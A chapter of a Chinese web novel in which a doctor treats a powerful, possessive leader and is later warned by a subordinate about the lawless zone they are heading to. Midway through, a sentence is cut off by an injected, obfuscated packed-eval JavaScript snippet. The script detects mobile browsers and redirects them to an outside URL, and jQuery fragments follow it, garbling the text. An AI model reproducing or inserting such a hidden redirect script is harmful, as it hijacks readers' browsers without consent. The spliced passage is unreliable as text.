青酒的小药丸确实神奇,见效也快。
他才吃下五分钟,腹部就有一股暖流,温暖原本冰冷的位置,伴随着极细微的剥离感。
仿佛身体里的垃圾被清除。
“医生,我怎么觉得这里涨?”
楼宴抓着他的手往裤子里探,青酒差一点以为他要做什么不正经的事,谁知道按在脐下三寸,也就是古语里‘下丹田’的地方。
“经脉是主管道,而十二经别、十二经筋、十二皮部是分支,再细一些就是络脉,类比起来就像毛细血管。
“这些看不见的管道连接体表、四肢和内脏,形成完整的能量系统。
“而在身体里,还有储蓄能量的仓库,也是能量循环后的最终归处,叫结,也叫丹田,其中一个就在这里。
“这里有感觉,说明药物的第一选择是清理仓库附近的管道,对你未来精准控制能量,和储存更多都有好处。
“你平日用于储存能量的位置也在这里吧?”
楼宴听完,问出第一个问题:“其中一个在这里,那是不是还有其他的?如果我都能用起来,是不是意味着我可以动用的能量会是别人的几倍?”
这还真问着了。
“这里,胸部膻中穴处是中丹田,还有上丹田,在两眉之间的印堂穴。理论上多开辟几个丹田,确实有助于能量储存和利用。
“但现在你的身体太过脆弱,就算要开辟其他几个丹田,也要等身体恢复。”
他仔仔细细和楼宴说着现在的情况。
经过这么多天的治疗,完全堵死的位置都已经打通,但后期还有巨大的清理和修复工程。治疗,现在才算开始。
“灾厄体会自动吸附毒素,所以清理一批又回长一批,但现在有了长期有效的药物,就算三个月后我不在,问题也不大了。”
“你不在?”
青酒才发现自己嘴快,他偷看楼宴表情,见无异样,才打着哈哈:“我是说,万一有什么事我不在身边,你带着这种药,也能缓解一二。”
倒也不是想一脚踹开他,主要这家伙秘密太多,他可不想牵涉其中。
而且以后总得自立门户,哪能一直待在楼宴树荫下?
“原来如此。医生,只有你关心我。”
两米高的汉子低头,声音带着些可怜。
青酒毛骨悚然,他疯狂回忆刚刚那粒药丸的配方,没有奇怪的能迷惑心智的药物,所以楼宴这是发什么疯?
“宴哥真爱开玩笑,大家都很关心你的。”
楼宴伸手将乱发往后梳,好让彼此看得更清楚:
“他们畏我胜过喜欢我。我是自然侧的灾厄体,掌握的力量近乎天灾。如果有一天我畸变成灾厄,对人类来说也是巨大麻烦。”
“你不知道有多少人想杀我。”楼宴靠近他,说着只有两人能听到的话,“连将我带到这人间的父母都想杀我,可惜我命大。”
青酒不知道如何安慰。
楼宴不需要他安慰,只是伤心似的转过身,表情从微笑到阴沉。
还没到,就想跑了?
原来又是一个小苦瓜,混乱区的苦瓜怎么这么多?
青酒踮脚小心拍拍楼宴肩膀:
“现在有可以治疗的药物,他们没有理由再害怕你,宴哥会找到很多真心朋友,还有新的家人。”
他在祝福他,但这祝福里并没有青酒本人的存在。
还是想跑吗?
楼宴眯了眯眼,戾气被强压下。
“可惜事情没有你想的这么美好,就像我上一段联姻,总能找到理由结束。”楼宴第一次提起横在他们之间的这件事。
“咳,我觉得以文熙的性格,她拒绝可能只是因为单纯的不喜欢被安排,而不是因为你的灾厄体。”青酒还是忍不住替前金主说了一句。
“医生对她真了解,”楼宴表情危险,“也对,你们交往过三个月。如果不是家长威逼,说不定医生现在正和她在另一个基地,成了一家人。”
青酒闭嘴,他似乎说错话了。
“医生,你喜欢她吗?”
他只是看着青酒,青酒就心虚得一直吞咽口水,他往后退了一步。
“也对,要是不喜欢,怎么会每天接送,时时注意她的身体和心情?”楼宴想着调查到的那些恋爱细节,脸上在笑,眼睛却没有弧度。
“医生,你说什么时候我会喜欢上一个人?什么感觉才叫做喜欢?”
“这种事,喜欢上了才知道。”
“是吗?那怎么样,才算是喜欢?医生你能告诉我吗?”楼宴往前走一步。
一人步步退,一人步步逼。
“这……”
“医生不想说?没关系,时间到了我会自己找到答案。”
*
情敌间的对话藏着透明的刺。
之后虽无异常,青酒还是胆战心惊了一晚上。
好在楼宴很忙,两人只有晚上见一面的机会,醒来时人已经走了。
青酒忍不住去想以后,楼宴似乎不太想放他离开。他在琢磨其中的利弊。
有利之处是拥有强大保护伞,他对楼宴实在太重要的,楼宴一定会保护好他,并且提供便利而全面的生活服务。
不利之处是失去一部分自由,或许不只是事业上受到部分限制,生活中也得考虑这个人的存在。
老实说他并不讨厌楼宴,但是不是要这么绑定,确实还没想好。
“砰砰。”门外传来扣门声。
青酒回神:“谁?”
“医生,是我,我来送药材。”
元杰在门外,提着要制作成药丸,提供给战士们的药材。他对药材有一定研究,现在专门负责根据单子拿药。
被指派了任务的全安站在不远处,元杰有任何不妥举动,他都会第一时间给人留个全尸。
“请进。”
元杰开门进来,和以往一样把药材一一放好,只是要离开时看向青酒,状似随意:“医生最近过得还好?”
楼宴日日沾染一身草木气出现,明眼人都能看出他的意图。
元杰不知道具体发展到哪一步,但只要是有能力的人,恐怕都不愿当个金丝雀。而青酒不是一般的有能力,自然也不是一般的骄傲。
这种人靠着强硬手段是留不住的。说不得骄傲的楼宴就得在这上面狠狠摔一跟头。
元杰心情比较复杂,他不知道自己是希望首领摔跟头,还是希望他保持金身不败。
青酒意外他问这么一声,他放下手中钢笔,看着元杰:“你有什么话就直说吧。”他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531188|202842||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能看出来,元杰不是要和他打招呼。
“医生知道我们要到哪儿吗?”元杰不答反问。
“知道。”
元杰叹了一口气:“实话不瞒你,我是土生土长混乱区人,那里是什么情况,我最清楚。”
不远处的全安眼如闪电,但元杰仿佛没看到,只是盯着青酒。
青酒不吭声,表情写着‘继续’。
元杰一边怀疑自己这一步是不是走得太急让人看出来,一边唉声叹气:“再往前,走过那片无人区,就是混乱区。”
青酒没有搭腔,元杰也不尴尬,还在说:
“外面都说混乱区是真正的废墟,虎狼行走的地方,我不能说这句话没有问题,但也不否认其中的真实性。
“医生,你做好这个心理准备了吗?”
元杰小心看青酒,只要青酒说一句‘你说的对啊’,或者有应和之意,他就能接着说下去,可青酒皱起眉。
他不是在生气,而是在认真思考这个问题。
元杰说的这些他都知道,楼宴没有一点隐瞒的意思。
混乱区资源匮乏,条件不好。
人多粥少能逼出人性的底线,而生存面前更无礼义廉耻。
可知道是知道,他真没法生出恐惧或者负面印象。
他身边的人都来自混乱区,楼宴也好,吴若也罢,还有其他很多战士,他们和寻常人没什么区别,连聊天都是家人、成长和梦想。
青酒是学生,他刚刚高中毕业,还没进社会就先穿越异世界。
虽然接受过现代各种常识浇灌,懂很多杂学,知道人心复杂,但他的心还是向往光明。而且,他现在就在车队里,难道还要说混乱区怎么不好?
“听说那里缺医生,我也不知道自己能做什么,先做好本职工作吧。”他冲元杰笑一声,“以后会越来越好的。”
元杰愣在那里,他所有的恶意都经不起这一笑。
“你……”他都想说他怎么这么蠢,但竟说不出来,甚至羞愧得不能对视。
他几乎想落荒而逃。
临离开时,元杰忽然转头问了青酒最后一个问题:“医生,你看过野狗抢食吗?”
那种为了命厮杀,在泥地里打滚的狼狈和凶狠,见过吗?
元杰说完就跑了,青酒想了很久这个问题,他转动手腕上的药珠,抬起头时,灰蓝色的天空覆盖上一层灰黑色的积雨云。
“要下雨了?”
*
“为什么要问医生那些问题?”全安看着元杰离开,他觉得这是一个不稳定因素,上报给楼宴,所以不久后关姨出现在元杰面前,问了他这个问题。
元杰靠着晃动的车架:“我说我对医生没有恶意,你相信吗?”
关姨看着元杰:“你也算是我看到大,希望你不要走错路,你爸就剩你一个了。”
“关姨,就当是我不甘心吧。我想证明,这个外来者没那么好,他对混乱区没有感情,就算首领把那些都给了他,他也会卖掉,随时抛弃那个地方。”
元杰深吸一口气:“我是不是有点蠢?”
“嗯。”关姨点头。
“……”
元杰噎住,半晌才苦笑着说:“他是个好人,太好了。“
显得他面目可憎。